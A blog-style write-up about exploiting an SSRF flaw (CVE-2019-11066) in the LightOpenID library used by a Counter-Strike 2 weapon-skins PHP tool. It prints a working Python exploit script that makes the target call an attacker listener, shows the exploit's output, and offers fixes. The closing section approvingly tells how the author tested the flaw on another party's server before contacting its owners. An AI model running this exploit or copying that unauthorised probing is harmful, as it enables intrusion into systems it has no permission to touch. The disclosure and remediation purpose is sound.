From BANNED to VIP: Exploiting a CVE
While setting up a popular weapon skins plugin for my Counter-Strike 2 server, I accidentally found a vulnerability in the authentication... and used it.
The Innocent Beginning: Just Trying to Run a Counter-Strike 2 Server
After getting wrongfully banned from (arguably) the most popular Counter-Strike 2 server in my country, I wanted to run my own community server with custom weapon skins, similar to the one the popular server uses. I found a PHP-based weapon paints configuration tool that integrates with Steam authentication. Perfect, right?
The setup was straightforward:
1. Clone the PHP project
2. Configure MySQL database
3. Set up Steam OpenID authentication
4. Deploy to my server at http://CENSORED/skins
Everything seemed fine. Users could log in via Steam and customize their weapon skins (paint patterns, wear values, seed patterns). I tested the login flow multiple times, and it worked flawlessly.
Or so I thought.
The First Red Flag: An Outdated Library
While reviewing the code before deploying to production, I noticed something odd in the steamauth/ directory:
// steamauth/openid.php
/**
* LightOpenID Library
* Version: 1.3.1
* Last Updated: 2016-03-04
*/Wait... 2016? That's 10 years old. I immediately thought to myself that something must be wrong here, and I wasn't wrong...
I checked the request_curl() function and found this on line 197:
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);Red flag #2: SSL certificate verification is completely disabled. This means the server will accept ANY SSL certificate, even self-signed or expired ones. Combined with an outdated library, this felt like a security incident waiting to happen.
Down the Rabbit Hole: Researching LightOpenID
> CVE-2019-11066: LightOpenID through 1.3.1 allows SSRF via crafted OpenID 2.0 assertion requests using the HTTP GET method.
SSRF (Server-Side Request Forgery) means an attacker can force MY server to make HTTP requests to URLs they control. This is serious because:
- The requests come from my server's IP (bypasses firewalls)
- Can access internal services (MySQL, Redis, admin panels)
- Can steal cloud credentials from metadata services
- Can scan my internal network
- An attacker can send malicious requests (search for very dirty stuff) from the victim VPS, essentially getting it banned on (mostly) any reputable providers or in worst case - reported to the authoritiesBut I needed to know... Is this actually exploitable in my setup?
The Experiment: Can I Trigger It?
I decided to test this myself. Here's what I did:
Step 1: Set Up a Listener
I set up an HTTP listener on my public IP to receive callbacks:
# Setup a listener on 18080 on my machine
python3 -m http.server 18080Step 2: Understand the OpenID Flow
The Steam login works like this:
1. User clicks "Login with Steam"
2. My server redirects to https://steamcommunity.com/openid/login
3. User authenticates with Steam
4. Steam redirects back to my server with OpenID parameters
5. My server validates the OpenID response ← This is where the SSRF happens!
The vulnerability is in step 5. The openid.php library makes an HTTP request to validate the openid.claimed_id parameter. If I can inject my own URL there, I can force the server to request MY listener.
Step 3: Craft the Payload
To make this a litlte bit easier to understand, I decided to wrote a Python script to automate this:
#!/usr/bin/env python3
import requests
from urllib.parse import urlparse, parse_qs
TARGET_URL = "https://CENSORED/skins/index.php?login"
ATTACKER_IP = "MY_HOME_MACHINE_HERE"
ATTACKER_PORT = 18080
session = requests.Session()
# Step 1: Initiate Steam login
response = session.get(TARGET_URL, allow_redirects=False)
steam_redirect_url = response.headers.get('Location')
# Step 2: Parse OpenID parameters
parsed = urlparse(steam_redirect_url)
params = parse_qs(parsed.query)
return_url = params.get('openid.return_to', [''])[0]
# Step 3: Craft malicious OpenID response
malicious_callback = f"http://{ATTACKER_IP}:{ATTACKER_PORT}"
openid_response = {
'openid.ns': 'http://specs.openid.net/auth/2.0',
'openid.mode': 'id_res',
'openid.op_endpoint': 'https://steamcommunity.com/openid/login',
'openid.claimed_id': malicious_callback, # SSRF PAYLOAD
'openid.identity': malicious_callback, # SSRF PAYLOAD
'openid.return_to': return_url,
'openid.response_nonce': '2026-01-15T12:00:00ZUNIQUE',
'openid.assoc_handle': '1234567890',
'openid.signed': 'op_endpoint,claimed_id,identity,return_to',
'openid.sig': 'CENSORED==',
}
# Step 4: Send malicious response to victim server
response = session.get(return_url, params=openid_response, timeout=10)
print(f"[+] Payload sent to victim server")
print(f"[*] Waiting for callback at {malicious_callback}...")Step 4: Run the Exploit
Now that we have the setup finished, let's see what we get.
$ python3 exploit_11_auto_ssrf_trigger.py
[*] Target: http://CENSORED/skins
[*] Attacker callback: http://CENSORED:18080
[Step 1] Initiating Steam login flow...
[+] Got redirect to: https://steamcommunity.com/openid/login?openid.ns=...
[Step 2] Parsing OpenID parameters...
[+] OpenID endpoint: https://steamcommunity.com/openid/login
[+] Return URL: http://CENSORED/skins/index.php?openid.return_to=...
[Step 3] Crafting malicious OpenID response...
[+] Injected malicious claimed_id: http://CENSORED:18080
[Step 4] Sending malicious OpenID response to victim server...
[*] This will trigger the SSRF!
[+] Response status: 200
[+] Request accepted by server
[Step 5] Waiting for SSRF callback...
[*] Waiting... (1/15 seconds)And then... sure enough... it worked! My listener successfully received the callback!
Remote IP: CENSORED Request Method: GET Request Path: / User-Agent: LightOpenID Headers: Host: CENSORED:18080 Accept: */* User-Agent: LightOpenID
Wow. The victim server made an HTTP request to MY listener at MY_MACHINE:18080.
This proves:
- The vulnerability is real and exploitable
- I can force the victim server to make requests to any URL I control
- The requests come from the victim's IP address
The Short-term Fix: What YOU should do immediately (if you happen to use this)
1. Immediate Hotfix (Line 197 of openid.php)
// BEFORE (VULNERABLE):
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
// AFTER (FIXED):
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);2. Add URL Validation
protected function request_curl($url, $method = 'GET', $params = [], $return_headers = false)
{
// Whitelist of allowed OpenID providers
$allowed_hosts = [
'steamcommunity.com',
'api.steampowered.com'
];
$parsed_host = parse_url($url, PHP_URL_HOST);
if (!in_array($parsed_host, $allowed_hosts)) {
throw new Exception('Invalid OpenID provider: ' . $parsed_host);
}
// Continue with cURL request...
}3. Replace the entire library (The long-term fix)
LightOpenID is abandoned. OpenID 2.0 is deprecated (Google stopped supporting it in 2015).
Replace with: [Steam Authentication SDK using OAuth 2.0]
This uses the modern Steam Web API instead of the deprecated OpenID 2.0 protocol.
PSA: We did not analyze the SDK above, always make sure to check the code you're deploying for vulnerabilities. If you cannot do so, contact us.
Karma is expensive; and they paid in cash:
After finding out that the vulnerability works, I spun up Burp Suite and immediately went to check whether the gaming server I was playing on has this vulnerability too. After playing out with the requests for abit, I managed to find out that they have actually pasted the website while redoing the .css portions of it to appear different, but the intricacies of the internal components stayed the same. The server was vulnerable, I've created a simple proof of concept by doing small edits to the code above, and I contacted the server owners -- The result? I was rewarded with the termination of my permanent ban, and a VIP status for me. After this; we've been tasked and allowed to look for more, exposing a total of 3 more vulnerabilities (CSRF, XSS in 2 locations)... This also allowed me to ask for the termination of a permanent ban that my friend received, life is sweet.